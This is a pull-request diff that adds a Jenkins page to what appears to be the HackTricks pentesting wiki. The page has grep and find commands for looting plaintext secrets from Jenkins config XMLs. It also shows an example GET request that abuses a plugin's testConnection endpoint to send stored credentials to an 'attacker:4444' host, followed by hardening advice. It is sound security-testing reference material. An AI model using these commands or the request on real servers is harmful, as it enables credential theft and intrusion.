Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions src/SUMMARY.md
Original file line number Diff line number Diff line change
Expand Up @@ -466,6 +466,7 @@
- [ImageMagick Security](network-services-pentesting/pentesting-web/imagemagick-security.md)
- [Ispconfig](network-services-pentesting/pentesting-web/ispconfig.md)
- [JBOSS](network-services-pentesting/pentesting-web/jboss.md)
- [Jenkins](network-services-pentesting/pentesting-web/jenkins.md)
- [Jira & Confluence](network-services-pentesting/pentesting-web/jira.md)
- [Joomla](network-services-pentesting/pentesting-web/joomla.md)
- [JSP](network-services-pentesting/pentesting-web/jsp.md)
Expand Down
2 changes: 1 addition & 1 deletion src/network-services-pentesting/pentesting-web/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -89,7 +89,7 @@ Some **tricks** for **finding vulnerabilities** in different well known **techno
- [**IIS tricks**](iis-internet-information-services.md)
- [**Microsoft SharePoint**](microsoft-sharepoint.md)
- [**JBOSS**](jboss.md)
- [**Jenkins**](https://github.com/HackTricks-wiki/hacktricks-cloud/tree/master/pentesting-ci-cd/jenkins-security)
- [**Jenkins**](jenkins.md)
- [**Jira**](jira.md)
- [**Joomla**](joomla.md)
- [**JSP**](jsp.md)
Expand Down
53 changes: 53 additions & 0 deletions src/network-services-pentesting/pentesting-web/jenkins.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,53 @@
# Jenkins

{{#include ../../banners/hacktricks-training.md}}

## Sensitive files & plaintext secrets

- Default installs often leave `/var/lib/jenkins/*.xml`, plugin-global XMLs, and per-job `/var/lib/jenkins/jobs/<JOB>/config.xml` world-readable. Jenkins encrypts `credentials.xml`, but **many plugins persist secrets in their own XML without encryption** (and sometimes use non-secret Jelly controls so the UI shows the cleartext value).
- Looting tips:
- Enumerate plugin-global XMLs and job configs for obvious secret tags (e.g., `password`, `token`, `awsSecretKey`, `credentialId`).
- Workspace directories can also temporarily hold artifacts with credentials.

```bash
# Global plugin configs
ls -l /var/lib/jenkins/*.xml
grep -R "password\|token\|SecretKey\|credentialId" /var/lib/jenkins/*.xml

# Per-job configs
find /var/lib/jenkins/jobs -maxdepth 2 -name config.xml -print -exec grep -H "password\|token\|SecretKey" {} \;
```

Impact: plaintext credentials can expose downstream services (e.g., MQ, FTP, AWS, Dropbox) even when the web UI masks the value.

## Abusing FormValidation/TestConnection endpoints (CSRF ➜ SSRF/credential theft)

Jelly `validateButton`/`test connection` controls map to server handlers such as `/descriptorByName/<Class>/testConnection` that usually take parameters like host/URL and `credentialId`. When the handler **doesn’t enforce POST or permission checks**, you can:

1. **Switch POST➜GET and drop the Crumb** – many plugins accept GET and skip CSRF validation.
2. **Call as low-priv/anonymous** – if no `Jenkins.ADMINISTER` check is performed, even `Overall/Read`/Anonymous can trigger outbound requests.
3. **CSRF an admin** – host/URL parameters can be swapped in a malicious page; Jenkins will connect to attacker infrastructure with stored credentials, leaking `credentialId`/secrets in the request or in error text.
4. **SSRF/port-scan** – control the destination to map internal services; exceptions like `ConnectException`/`ProtocolException` in the response act as an oracle.

Example GET (no Crumb) turning a validation call into SSRF/credential exfiltration:

```http
GET /descriptorByName/jenkins.plugins.openstack.compute.JCloudsCloud/testConnection?endPointUrl=http://attacker:4444/&credentialId=openstack HTTP/1.1
Host: jenkins.local:8080
```

If the plugin reuses stored creds, Jenkins will attempt to authenticate to `attacker:4444` and may return stack traces or the `credentialId`, confirming execution. Similar behavior was observed across numerous plugins (e.g., FTPPublisher, MQ Notifier, Crowd realm).

### Hardening patterns (what to look for when auditing code)

- Enforce method: annotate validation handlers with `@POST`/`@RequirePOST`; optionally set Jelly `checkMethod="POST"`, but server-side checks are mandatory.
- Enforce authz: `Jenkins.get().checkPermission(Jenkins.ADMINISTER)` (or `getInstance()` on older code) before performing outbound calls.
- Secrets handling: replace `String` secrets with `hudson.util.Secret` or the Credentials Plugin; persist via `Secret.getEncryptedValue(...)` and decrypt with `Secret.decrypt(...)`. Use `password`/`secretTextarea` Jelly controls instead of plain textboxes so secrets aren’t round-tripped in cleartext.

## References

- [Story of a hundred vulnerable Jenkins plugins](https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/)
- [Jenkins developer docs – secrets API](https://www.jenkins.io/doc/developer/security/secrets/)
- [Jenkins developer docs – form validation](https://www.jenkins.io/doc/developer/security/form-validation/)

{{#include ../../banners/hacktricks-training.md}}